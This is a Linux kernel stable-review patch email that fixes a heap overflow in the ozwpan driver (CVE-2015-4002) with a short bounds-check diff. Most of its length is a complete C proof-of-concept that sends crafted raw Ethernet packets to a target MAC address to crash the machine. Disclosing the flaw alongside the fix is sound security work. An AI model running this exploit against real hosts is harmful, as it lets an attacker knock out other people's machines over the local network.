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    Subject[PATCH 3.19.y-ckt 003/146] ozwpan: Use proper check to prevent heap overflow
    Date
    3.19.8-ckt2 -stable review patch.  If anyone has any objections, please let me know.

    ------------------

    From: "Jason A. Donenfeld" <Jason@zx2c4.com>

    commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.

    Since elt->length is a u8, we can make this variable a u8. Then we can
    do proper bounds checking more easily. Without this, a potentially
    negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
    resulting in a remotely exploitable heap overflow with network
    supplied data.

    This could result in remote code execution. A PoC which obtains DoS
    follows below. It requires the ozprotocol.h file from this module.

    =-=-=-=-=-=

    #include <arpa/inet.h>
    #include <linux/if_packet.h>
    #include <net/if.h>
    #include <netinet/ether.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <endian.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>

    #define u8 uint8_t
    #define u16 uint16_t
    #define u32 uint32_t
    #define __packed __attribute__((__packed__))
    #include "ozprotocol.h"

    static int hex2num(char c)
    {
    if (c >= '0' && c <= '9')
    return c - '0';
    if (c >= 'a' && c <= 'f')
    return c - 'a' + 10;
    if (c >= 'A' && c <= 'F')
    return c - 'A' + 10;
    return -1;
    }
    static int hwaddr_aton(const char *txt, uint8_t *addr)
    {
    int i;
    for (i = 0; i < 6; i++) {
    int a, b;
    a = hex2num(*txt++);
    if (a < 0)
    return -1;
    b = hex2num(*txt++);
    if (b < 0)
    return -1;
    *addr++ = (a << 4) | b;
    if (i < 5 && *txt++ != ':')
    return -1;
    }
    return 0;
    }

    int main(int argc, char *argv[])
    {
    if (argc < 3) {
    fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
    return 1;
    }

    uint8_t dest_mac[6];
    if (hwaddr_aton(argv[2], dest_mac)) {
    fprintf(stderr, "Invalid mac address.\n");
    return 1;
    }

    int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    if (sockfd < 0) {
    perror("socket");
    return 1;
    }

    struct ifreq if_idx;
    int interface_index;
    strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
    if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
    perror("SIOCGIFINDEX");
    return 1;
    }
    interface_index = if_idx.ifr_ifindex;
    if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
    perror("SIOCGIFHWADDR");
    return 1;
    }
    uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

    struct {
    struct ether_header ether_header;
    struct oz_hdr oz_hdr;
    struct oz_elt oz_elt;
    struct oz_elt_connect_req oz_elt_connect_req;
    } __packed connect_packet = {
    .ether_header = {
    .ether_type = htons(OZ_ETHERTYPE),
    .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    },
    .oz_hdr = {
    .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    .last_pkt_num = 0,
    .pkt_num = htole32(0)
    },
    .oz_elt = {
    .type = OZ_ELT_CONNECT_REQ,
    .length = sizeof(struct oz_elt_connect_req)
    },
    .oz_elt_connect_req = {
    .mode = 0,
    .resv1 = {0},
    .pd_info = 0,
    .session_id = 0,
    .presleep = 35,
    .ms_isoc_latency = 0,
    .host_vendor = 0,
    .keep_alive = 0,
    .apps = htole16((1 << OZ_APPID_USB) | 0x1),
    .max_len_div16 = 0,
    .ms_per_isoc = 0,
    .up_audio_buf = 0,
    .ms_per_elt = 0
    }
    };

    struct {
    struct ether_header ether_header;
    struct oz_hdr oz_hdr;
    struct oz_elt oz_elt;
    struct oz_get_desc_rsp oz_get_desc_rsp;
    } __packed pwn_packet = {
    .ether_header = {
    .ether_type = htons(OZ_ETHERTYPE),
    .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    },
    .oz_hdr = {
    .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    .last_pkt_num = 0,
    .pkt_num = htole32(1)
    },
    .oz_elt = {
    .type = OZ_ELT_APP_DATA,
    .length = sizeof(struct oz_get_desc_rsp) - 2
    },
    .oz_get_desc_rsp = {
    .app_id = OZ_APPID_USB,
    .elt_seq_num = 0,
    .type = OZ_GET_DESC_RSP,
    .req_id = 0,
    .offset = htole16(0),
    .total_size = htole16(0),
    .rcode = 0,
    .data = {0}
    }
    };

    struct sockaddr_ll socket_address = {
    .sll_ifindex = interface_index,
    .sll_halen = ETH_ALEN,
    .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    };

    if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    perror("sendto");
    return 1;
    }
    usleep(300000);
    if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
    perror("sendto");
    return 1;
    }
    return 0;
    }

    Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
    Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Reference: CVE-2015-4002
    BugLink: https://bugs.launchpad.net/bugs/1463444
    Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
    Signed-off-by: Kamal Mostafa <kamal@canonical.com>
    ---
    drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++----
    1 file changed, 9 insertions(+), 4 deletions(-)

    diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
    index 8ed561a..7b13dc9 100644
    --- a/drivers/staging/ozwpan/ozusbsvc1.c
    +++ b/drivers/staging/ozwpan/ozusbsvc1.c
    @@ -393,10 +393,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
    case OZ_GET_DESC_RSP: {
    struct oz_get_desc_rsp *body =
    (struct oz_get_desc_rsp *)usb_hdr;
    - int data_len = elt->length -
    - sizeof(struct oz_get_desc_rsp) + 1;
    - u16 offs = le16_to_cpu(get_unaligned(&body->offset));
    - u16 total_size =
    + u16 offs, total_size;
    + u8 data_len;
    +
    + if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
    + break;
    + data_len = elt->length -
    + (sizeof(struct oz_get_desc_rsp) - 1);
    + offs = le16_to_cpu(get_unaligned(&body->offset));
    + total_size =
    le16_to_cpu(get_unaligned(&body->total_size));
    oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
    oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
    --
    1.9.1


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